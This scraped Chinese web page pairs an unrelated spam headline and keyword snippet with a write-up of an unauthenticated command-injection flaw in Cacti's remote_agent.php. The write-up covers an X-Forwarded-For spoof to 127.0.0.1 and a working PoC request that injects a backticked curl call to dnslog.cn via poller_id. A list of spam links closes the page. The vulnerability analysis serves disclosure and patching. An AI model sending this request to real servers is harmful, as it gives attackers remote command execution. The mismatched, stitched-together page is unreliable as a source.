当前位置: 首页 > news >正文

论坛网站怎么做网站查询系统

论坛网站怎么做,网站查询系统,更改wordpress代码,动漫制作专业用什么样的电脑比较好1.漏洞描述 Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具,可为用户提供强大且可扩展的操作监控和故障管理框架。 该漏洞存在于remote_agent.php文件中,未经身份验证的恶意攻击者可以通过设置HTTP_变量…

1.漏洞描述

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具,可为用户提供强大且可扩展的操作监控和故障管理框架。
该漏洞存在于remote_agent.php文件中,未经身份验证的恶意攻击者可以通过设置HTTP_变量绕过身份验证,再通过构造特殊的$poller_id 参数来触发proc_open() 函数,成功利用此漏洞可在目标服务器上执行任意命令,获取服务器的控制权限。

2.影响版本

Cacti < 1.2.23

3.影响范围 

4.漏洞分析

我们先看补丁
https://github.com/Cacti/cacti/commit/7f0e16312dd5ce20f93744ef8b9c3b0f1ece2216
漏洞点主要存在于lib/functions.php、remote_agent.php
分为登录绕过和命令注入

登录绕过

我们先跟进 get_client_addr看看
函数的作用是从 X-Forwarded-For等参数中获取值,filter_var 进行过滤,正确的地址就可以返回,X-Forwarded-For 参数可控,可以对其进行修改 
接下来看remote_client_authorized函数的下半部分
gethostbyaddr 对 client_addr 获取网络主机名,当 $client_name 与 $client_addr 不同时, 进入remote_agent_strip_domain 函数
函数就是截取点号前面的值 大多数情况下,我们传进去的值为 127.0.0.1 时,就会返回 true 了 因此我们可以通过修改 X-Forwarded-For 来绕过这里的认证

命令注入

我们先看一下修复记录
跟进get_nfilter_request_var函数
函数的作用是直接获取参数,没用过滤
这里的 $local_data_ids也是传进来的值,可控。

接下来我们关注这里的 $items ,是从数据库的 poller_item 表中取出来的,默认为空。

接下来当 $items 有了数据并且他的成员中有一个 item 也是一个数组并且键为 action,值为 2 时,即可进入命令注入的漏洞所在

在385 行有 proc_open可以命令执行。
Poc:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`curl+dnslog.cn` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

5.修复建议

官方已经提供修复的版本,直接 github 下载即可
https://github.com/Cacti/cacti

http://www.shuangfujiaoyu.com/news/1536.html

相关文章:

  • 红色的网站在百度上做广告推广要多少钱
  • a做片手机免费网站windows优化大师免费版
  • html网页设计用什么软件搜索引擎优化举例说明
  • mac系统写wordpresswindows优化大师要钱
  • 广东如何做网站设计sem是什么职位
  • 南京网站建设 w搜索引擎优化自然排名
  • 推广运营是什么工作站长之家seo概况查询
  • 微信二维码网站建设网站如何才能被百度收录
  • id注册网站网络上哪里可以做推广
  • 中国即将全面疫情解封成都seo整站
  • 北京矿建建设集团有限公司 网站人民日报新闻
  • 怎么快速做网站湖南seo推广软件
  • 江苏省建设招标网站首页正能量网站地址链接免费
  • 鞋图相册网站怎么做全网营销推广系统
  • 网站备案要幕布照推广的方式有哪些
  • 手机app开发语言东莞seo搜索
  • 专门做特卖的网站seo推广话术
  • 学做美食的视频网站有哪些搜狗搜索旧版本
  • 化妆品网站的建设目标国内网络销售平台有哪些
  • 公司网站建设计入明细科目免费做网站网站
  • 用手机怎么看自己做的网站长沙网站关键词排名公司
  • 用cms建设网站课程权威解读当前经济热点问题
  • 精品课程网站建设验收单怎么做优化关键词
  • 绵阳做seo网站公司荥阳网站优化公司
  • 站长工具的网址ios aso优化工具
  • 专业做室内设计的网站有哪些内容百度网盘网页版登录首页
  • 做的网站在百度找不到现在网络推广方式
  • ssh框架做的家政服务网站个人网页免费域名注册入口
  • 流程图制作网站做网络销售感觉自己是骗子
  • 网站建设培训珠海宜兴网站建设